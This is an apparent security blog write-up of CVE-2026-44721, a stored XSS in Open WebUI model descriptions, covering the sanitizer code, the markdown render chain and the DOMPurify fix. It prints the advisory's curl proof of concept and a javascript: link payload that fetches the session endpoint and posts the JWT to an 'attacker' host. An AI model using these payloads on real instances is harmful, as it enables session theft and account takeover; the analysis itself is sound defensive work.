//nefariousplan

CVE-2026-44721: Open WebUI's Sanitizer Escaped Angle Brackets the Input Did Not Contain. marked.parse() Emitted Them.

vendor

patterns

cve

proof of concept

sanitizeResponseContent escapes < and >. The string [Click here](javascript:alert()) contains neither. The function returns the input unchanged. marked.parse() then turns the markdown link into <a href="javascript:alert()">Click here</a>. Svelte's {@html} writes the anchor to the DOM, and CVE-2026-44721 is the click.

sanitizeResponseContent is the LLM-token cleaner

CVE-2026-44721 is a stored XSS in Open WebUI through model description rendering, fixed in 0.9.0. The function the maintainers chose as the gate against it lives at src/lib/utils/index.ts:83:

export const sanitizeResponseContent = (content: string) => {
	return content
		.replace(/<\|[a-z]*$/, '')
		.replace(/<\|[a-z]+\|$/, '')
		.replace(/<$/, '')
		.replaceAll('<', '&lt;')
		.replaceAll('>', '&gt;')
		.replaceAll(/<\|[a-z]+\|>/g, ' ')
		.trim();
};

Six rules. The first three strip partial chat-template tokens at end-of-stream: <|im_start, <|im_start|, a lone trailing <. The next two escape literal angle brackets. The sixth replaces fully-formed chat-template tokens (<|im_end|>, <|user|>) with a space.

The name encodes the threat model: response content. The function is a streaming-LLM-output cleaner. The model emits text token by token; mid-stream, a Llama or Mistral checkpoint might emit a partial <|im_start, a literal < followed by a chunk that turns into something interpretable, or a fully-formed chat-template token the renderer must not display. The function eats all three.

The angle-bracket escapes are coverage for one specific threat: an LLM emitting a literal <script> tag. Escaping < to &lt; and > to &gt; neutralizes the tag at the markdown source layer. This is correct, complete behavior for the threat model the function's name encodes.

The reuse was the bug

A grep for the function across the v0.8.12 tree returns five Svelte files:

src/lib/components/chat/Placeholder.svelte
src/lib/components/chat/Messages/ResponseMessage.svelte
src/lib/components/chat/ChatPlaceholder.svelte
src/lib/components/chat/ModelSelector/ModelItem.svelte
src/lib/components/chat/ModelSelector/Selector.svelte

ResponseMessage.svelte is the streaming-output sink the function was named for. The other four call the same function against models[...]?.info?.meta?.description. That field is not LLM output. It is free-form text any user with the workspace.models permission writes through POST /api/v1/models/create.

The Pydantic schema for the field (backend/open_webui/models/models.py:38):

class ModelMeta(BaseModel):
	profile_image_url: Optional[str] = '/static/favicon.png'

	description: Optional[str] = None
	"""
		User-facing description of the model.
	"""

	capabilities: Optional[dict] = None

	model_config = ConfigDict(extra='allow')

Optional[str]. No length cap. No content check. The route handler validates the caller's workspace.models permission and inserts the row verbatim. The string then renders into the model picker and chat header for every other user who selects the model, including admins.

The threat at this sink is not the LLM emitting <script>. The threat is an authenticated user emitting markdown. sanitizeResponseContent knows nothing about markdown. This is the shape the pattern "The Shell Was Not The Sink" tracks: a sanitizer named for one interpreter applied uniformly to inputs that flow into a different one.

The render chain adds HTML, then parses more HTML

Pre-patch src/lib/components/chat/ChatPlaceholder.svelte:

<div class="mt-0.5 ... markdown">
	{@html marked.parse(
		sanitizeResponseContent(
			models[selectedModelIdx]?.info?.meta?.description
		).replaceAll('\n', '<br>')
	)}
</div>

Read the pipeline left to right.

sanitizeResponseContent(description) runs first. The function sees the markdown source. If the user wrote <script>alert(1)</script> into the description, this step escapes the brackets and the rendered output is the literal text &lt;script&gt;.... The pipeline catches the threat model the function's name encodes.

.replaceAll('\n', '<br>') runs second. This is an explicit HTML injection step. The application wants visible line breaks in a context that marked collapses by default, so the author inserts <br> tags themselves after the sanitizer is done. Adding < and > characters two function calls after a sanitizer whose job was to escape < and > is the codebase's own admission that the sanitizer is at the wrong end of the pipe.

marked.parse(...) runs third. The library converts markdown into HTML. The conversion catalog includes [text](url) becoming <a href="url">text</a>. Default marked does not filter URI schemes on the href. javascript:, data:, and vbscript: all pass.

{@html ...} is the fourth step. Svelte's {@html} directive writes the string into the DOM as raw HTML, by documented behavior. No escape.

The chain is sanitize-then-expand. The sanitizer's checks fire against the source; the expander emits HTML that the sanitizer never sees.

The PoC is a markdown link

The GHSA's PoC for CVE-2026-44721:

curl -X POST 'http://<HOST>/api/v1/models/create' \
	-H 'Authorization: Bearer <TOKEN>' \
	-H 'Content-Type: application/json' \
	-d '{"id":"xss-test","meta":{"description":"[Click here](javascript:alert())"}}'

Trace the description string through the pipeline.

[Click here](javascript:alert()) enters sanitizeResponseContent. The function inspects it against six rules:

  1. /<\|[a-z]*$/ matches nothing. The string contains no <| substring.
  2. /<\|[a-z]+\|$/ matches nothing. Same reason.
  3. /<$/ matches nothing. The string does not end in <.
  4. .replaceAll('<', '&lt;') matches nothing. The string contains zero < characters.
  5. .replaceAll('>', '&gt;') matches nothing. The string contains zero > characters.
  6. /<\|[a-z]+\|>/g matches nothing. Same.

The function returns the string unchanged.

.replaceAll('\n', '<br>') runs next. The string contains zero newlines. The function returns unchanged again.

marked.parse('[Click here](javascript:alert())') produces:

<p><a href="javascript:alert()">Click here</a></p>

{@html ...} writes that string into the DOM as live nodes. When any user who has selected this model clicks the link, the browser dereferences href as a URI. The javascript: scheme handler executes alert().

Real attacks do not use alert(). The GHSA's second example exfiltrates the session:

[View benchmarks](javascript:void(fetch('/api/v1/auths/', {credentials: 'include'}).then(r => r.json()).then(d => fetch('https://attacker', {method: 'POST', body: JSON.stringify(d)}))))

/api/v1/auths/ is Open WebUI's session endpoint. The first fetch carries the victim's cookie. The response body includes the JWT. The second fetch posts it to the attacker. The attacker now holds the bearer of any user who clicked, including any admin who opened the model picker and tried the description link.

The input had no angle brackets. The rendered output had two. sanitizeResponseContent ran between them and matched nothing.

The patch adds the sanitizer after the renderer

The v0.9.0 diff that closes CVE-2026-44721, on the same block:

-{@html marked.parse(
-	sanitizeResponseContent(...).replaceAll('\n', '<br>')
-)}
+{@html DOMPurify.sanitize(
+	marked.parse(
+		sanitizeResponseContent(...).replaceAll('\n', '<br>')
+	)
+)}

The diff to src/lib/utils/index.ts shows zero changes to sanitizeResponseContent. The function still escapes < and >. The .replaceAll('\n', '<br>') still inserts <br> tags. marked.parse() still expands markdown link syntax into anchor tags with attacker-controlled href. The pre-patch sanitizer ran at the input layer; the patch added a sanitizer at the output layer.

DOMPurify inspects rendered HTML. Its default policy strips javascript: URIs from anchor href attributes and removes inline event handlers from any element. The output of marked.parse('[Click](javascript:alert())') becomes <p><a>Click</a></p> with the anchor's href removed. {@html} writes harmless HTML to the DOM.

The patch is the structurally correct one: canonicalize first, then sanitize. The sanitization runs against the form the renderer will actually emit, not the source it was handed. The same change appears in Placeholder.svelte, where the model description renders into both the Tooltip content= attribute and the inline {@html} block; both sites are wrapped in v0.9.0.

DOMPurify was already in the build

The line import DOMPurify from 'dompurify'; was present in src/lib/components/common/Tooltip.svelte at v0.8.12. The Tooltip component calls DOMPurify.sanitize(content) on its content prop before handing the string to tippy. That call is the reason the third sink that renders model descriptions, ModelSelector/ModelItem.svelte's tooltip, was never exploitable through this primitive: the Tooltip's internal DOMPurify ran on the marked-produced HTML before it reached the DOM.

The two vulnerable sites in ChatPlaceholder.svelte and Placeholder.svelte are the two {@html} sites, the ones that bypassed Tooltip entirely and wrote directly into the DOM. They are also the two sites the patch wraps. The fix did not introduce a dependency. It did not introduce a new function. It reused a function the codebase had already chosen as the right tool, at the two sites the original author of the description-rendering blocks did not reach for.

750a659a security: svg xss fix, in the same git log as the changes that became v0.9.0, is the prior XSS fix on the codebase's {@html} surface. The pattern in this codebase is one render sink at a time, each closed when an external researcher finds it. The CVE record names two files; the fix touches two files; the sanitizer that closes both was a package.json dependency the codebase had been carrying since before either vulnerable line was written.

Gate before canonicalize, render-pipeline variant

The pattern has seventeen prior exhibits in this catalog. Most live in URL parsing, path resolution, or argument-list lexing. SiYuan CVE-2026-44588 is the closest sibling on this exhibit's structural axis: an attribute encoder (escapeAriaLabel) ran on the source, a downstream decodeURIComponent call manufactured the forbidden form, the innerHTML setter wrote the manufactured form into the DOM. The author's encoder anticipated two downstream canonicalizers (the HTML-attribute parser and the innerHTML setter) and missed the third.

Open WebUI's pre-patch chain is the same shape with marked.parse() standing in for decodeURIComponent. The function name sanitizeResponseContent encodes the threat model the author was thinking about: streaming LLM output. The function was wired correctly at the streaming sink in ResponseMessage.svelte, then reused at four sinks whose input was authenticated user text passed through a markdown parser. The reuse copied the function call. It did not copy the threat model.

The structural reason has the same shape across the seventeen prior exhibits: a security check inspects an input for one form, a downstream layer converts the input into a different form, the forbidden representation lives in the gap between the two parses. Where most prior exhibits put the canonicalizer in a URL parser, an ExifTool argv reader, or a kernel hostname resolver, this exhibit puts the canonicalizer in marked. The renderer is the canonicalizer. The renderer emits the angle brackets the input lacked. The fix is to sanitize what the renderer produced.

The .replaceAll('\n', '<br>') between the sanitizer and the renderer is the artifact in this codebase that should have triggered the design review. A code path that escapes < and > from user input, then inserts < and > tokens of its own choosing two function calls later, has already conceded that the sanitizer is at the wrong end of the pipe.

PoC: GHSA-gf5m-wcrh-7928.

sanitizeResponseContent ran. marked.parse() emitted the angle brackets after.